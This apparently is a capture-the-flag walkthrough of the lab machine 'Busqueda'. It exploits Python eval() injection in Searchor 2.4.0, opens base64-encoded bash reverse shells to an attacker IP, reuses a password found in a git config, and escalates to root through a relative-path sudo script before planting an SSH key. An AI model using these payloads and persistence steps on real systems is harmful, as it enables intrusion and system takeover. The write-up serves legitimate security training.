Busqueda
by Jake
This week we are getting our Spanish practice in while hacking some boxes with Busqueda!
Start off as always with our nmap scan:
# Nmap 7.93 scan initiated Thu Jun 29 21:27:13 2023 as: nmap -sC -sV -oN busqueda.nmap 10.10.11.208
Nmap scan report for 10.10.11.208
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 29 21:27:22 2023 -- 1 IP address (1 host up) scanned in 9.04 seconds
We see redirect to http://searcher.htb/
So we add that to our /etc/hosts
file and navigate to the site:
Fire up Burp and intercept some searches to try to understand whats going on.
Ticking the auto redirect box sends you out to the URL that gets built from user input. We try some LFI or other input validation bypasses, but none of them seem to work. The bottom of the page shows that the application is a Python Flask app running something called Searchor 2.4.0
Looking at Github, there was a pull request to fix an RCE vulnerability with Python eval()
: https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b
So lets look at the vulnerable code and try to build our own exploit:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
We control the value query
. So let’s see if we can turn that into code execution. Following something like: https://medium.com/swlh/hacking-python-applications-5d4cd541b3f1 or
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/
Based on the examples above, we need to send an input that makes the code valid but also execute our payload. Sending the string ',**import**('os').system('id'))#
makes the code look like:
url = eval(
f"Engine.{engine}.search('',__import__('os').system('id'))#', copy_url={copy}, open_web={open})"
)
What is happening here? We are closing out the single quote and adding another parameter to the search()
function. This parameter is our malicious payload. We then close out the search function with an extra )
and comment out the rest of the line. It’s very similar to an old school SQL injection.
Because the application is nice enough to print the output back to us, we can see the code working straight from Burp:
Now we should be able to simply replace the id
command with our shell. Unfortunately, we can’t straight up copy/pasta the example reverse shell because there are too many quotes and special characters in the payload. We need to encode it, send it, decode it, then execute it.
Let’s PoC it out step by step.
Step one is getting a bas64 encoded message onto the box, decoding it and printing it out. For testing purposes we are going to use ThoseGuys
base64 encoded: VGhvc2VHdXlz
.
Locally, that’s an easy one:
> echo VGhvc2VHdXlz | base64 -d
ThoseGuys
So we replace the id
from our first PoC with exactly that:
As you can see, we are decoding the message successfully. Next up we want to run it, so we chain the pipes so that the output from base64 -d
gets sent to bash
:
> echo VGhvc2VHdXlz | base64 -d | bash
bash: line 1: ThoseGuys: command not found
Maybe “ThoseGuys” wasn’t the best test string, so let’s change that to the Base64 encoded version of id
: aWQK
. Testing it locally we can see we get:
> echo aWQK | base64 -d | bash
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer)
Perfect! Now to send it to the target.
Once again, we have our code execution working:
Now that the PoC works, we can turn that base64 into our reverse shell payload:
> echo -n '/bin/bash -i >& /dev/tcp/10.10.14.8/9001 0>&1' | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjgvOTAwMSAwPiYxCg==
Set up a listener and send it!
This took a little bit of tweaking, the example ones didn’t work. It also appeared that when you run which bash
in Burp it returns /usr/bin/bash
so we added the absolute path to the payload. It also doesn’t work when you just call bash
from base64, it needs to be interactive with the -i
flag.. eventually we end up with a working payload:
Looking at the /etc/passwd
file we determine that we are the only user on the account and hunt for the user flag
svc@busqueda:/var/www/app$ cd ~
cd ~
svc@busqueda:~$ ls
ls
user.txt
svc@busqueda:~$ cat user.txt
cat user.txt
d3cdc[REDACTED]c6fd
We had SSH on the box, so let’s follow the standard process for generating an SSH keypair and adding our public key to the target:
> ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): thoseguys
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in thoseguys
Your public key has been saved in thoseguys.pub
The key fingerprint is:
SHA256:jAQFaow6/SkJpeN2LRexCC4rMrr5QuzdnRgUVk2Dkq4 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| oo+.+o |
| o . * . .. |
|..= o.+ |
|o=. .+oo |
|O...oo. S |
|oB E.o. |
|Bo+o+o+ . |
|*+.ooo o |
|++. |
+----[SHA256]-----+
> cat thoseguys.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8= kali@kali
Then on the target:
> echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8=' > authorized_keys
now we can SSH directly to the svc
user without needing to worry about upgrading our shell:
> ssh -i thoseguys svc@searcher.htb
...
svc@busqueda:~$
sudo
requires a password that we don’t know (yet?) so we keep poking around. In the home directory there is a .gitconfig
file:
svc@busqueda:~$ ls -la
total 40
drwxr-x--- 5 svc svc 4096 Jun 30 04:53 .
drwxr-xr-x 3 root root 4096 Dec 22 2022 ..
lrwxrwxrwx 1 root root 9 Feb 20 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 svc svc 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 svc svc 3771 Jan 6 2022 .bashrc
drwx------ 2 svc svc 4096 Feb 28 11:37 .cache
-rw-rw-r-- 1 svc svc 76 Apr 3 08:58 .gitconfig
drwxrwxr-x 5 svc svc 4096 Jun 15 2022 .local
lrwxrwxrwx 1 root root 9 Apr 3 08:58 .mysql_history -> /dev/null
-rw-r--r-- 1 svc svc 807 Jan 6 2022 .profile
lrwxrwxrwx 1 root root 9 Feb 20 14:08 .searchor-history.json -> /dev/null
drwxr-xr-x 2 svc svc 4096 Jun 30 04:53 .ssh
-rw-r----- 1 root svc 33 Jun 29 02:26 user.txt
svc@busqueda:~$ cat .gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
We also find some root owned things in /opt
svc@busqueda:~$ cd /opt
svc@busqueda:/opt$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 1 10:46 .
drwxr-xr-x 19 root root 4096 Mar 1 10:46 ..
drwx--x--x 4 root root 4096 Dec 21 2022 containerd
drwxr-xr-x 3 root root 4096 Dec 24 2022 scripts
We can’t do anything in containerd
but we can look in scripts
svc@busqueda:/opt/scripts$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Dec 24 2022 .
drwxr-xr-x 4 root root 4096 Mar 1 10:46 ..
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr 3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
As you can see we don’t have permissions to view any of those files, but we can execute them.. or can we 🤔
Back in the application itself, there is also a .git
folder that could have something useful in it:
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 29 02:25 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
We look through the files to maybe pull the repo to look in the commit history etc, but we don’t even need to go that far. We find what we need in the config
file.
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Looks like credentials to me. We try those credentials against our sudo -l
from earlier and get a hit!
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
We can run the system-checkup.py
script as root with arguments… Time to try and figure out what this thing does:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
Starting from the top and working our way down:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 27 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 27 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
Looks like we have a couple of containers, one running MySQL which could be interesting if we can work our way into it, and the other running gitea, which is a self-hosted version control system (similar to GitHub). These are good sources of potential credentials as well as source code…
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
docker-inspect
needs info from the previous argument…
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
full-checkup
doesn’t seem to like us.
Remember when we found the scripts folder initially, there was a [full-checkup.sh](http://full-checkup.sh)
file… When we run the sudo command from within the /opt/scripts
directory, something interesting happens:
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1670 │ 26h │ 0 │ online │ 0% │ 31.8mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
This seems to suggest that the python script is referencing local files using a relative path, rather than an absolute path…
There are a couple of ways to go forward from here, but they all follow the same basic idea:
- We create a
[full-checkup.sh](http://full-checkup.sh)
script somewhere we have write permissions (such as our home directory) - Set the permissions of the script to allow execution (
chmod 755 full-checkup.sh
) - Run the python script as root using
sudo
and pwn the system.
Method #1 (Boring) - Just obtain the flag:
Our script looks like:
#!/bin/bash
cat /root/root.txt
This will print out the root flag, and thats all.
For persistence we can use methods 2 and 3..
Method #2 - Reverse shell.
Use our trusty [rev.sh](http://rev.sh)
script:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.8/9001 0>&1
Set up a listener locally, then run the sudo command!
> nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.208] 48720
root@busqueda:/home/svc# id
uid=0(root) gid=0(root) groups=0(root)
root@busqueda:/home/svc#
From there we can poke around at whatever we want. The next best option is to gain full persistence the same way we did with svc
by adding out public key to root’s authorized_keys
file…
Method #3 - SSH:
Use the script:
#!/bin/bash
mkdir /root/.ssh && echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2yYgEJn4St4J0DT18gL8AiDSSFBSK0RkvYG0d4hhGBv3wyvI0ytRns3FukHOw0nQVIrbbucxqnhaRE5t4kKdVovdLT9Cc/9qBGBRk5g/krsWf2HcIfn+Pj3fnXZ5UQqUdEJ/W++Hogxaftlt/kepNw8KTFapZDGKAsS+eBUf+AgOeSwLr+WxqSbKXuNhMG6+xxJ03+hleNnz/YHKYaSPZKvSR5XxcRG9X6OSvgJKE4mcfX3mQOxC2JJbiNaSa50U+mWt+5qDv8U9dYAoPRvpD8z+WxFj9SQ0TLlZcpi8OR4D5dLHQwAQctnzDYi6UtDcCVfoYOfMt+AHuBnyv83aeEaIjT3GvJYUII1+sFn4YMaHCodXE5AKhVv1x+h5FLUOaSIlB4Epk9mqBuV5c/WSRVkUUe60FZzyaGUVXvISnnyQf8yIdK975eGABRtyIpW9XRE83Edp7FIhrNPLnY6jZmam/+9I+dnizt3UVg/R+AXSNS3wImank7gAbu70B0Y8=' > /root/.ssh/authorized_keys
When we run it we get no new is good news:
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
and can SSH in directly as root!
> ssh -i thoseguys root@searcher.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Jun 30 05:35:36 AM UTC 2023
System load: 0.00439453125
Usage of /: 80.6% of 8.26GB
Memory usage: 55%
Swap usage: 5%
Processes: 255
Users logged in: 1
IPv4 address for br-c954bf22b8b2: 172.20.0.1
IPv4 address for br-cbf2c5ce8e95: 172.19.0.1
IPv4 address for br-fba5a3e31476: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.208
IPv6 address for eth0: dead:beef::250:56ff:feb9:4e5c
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
root@busqueda:~#
Bonus content:
docker inspect
can be used to query docker container config and could be used to get into the MYSQL database as well as the gitea repositories to view the scripts without root permissions:
https://docs.docker.com/engine/reference/commandline/inspect/
docker inspect --format='' $INSTANCE_ID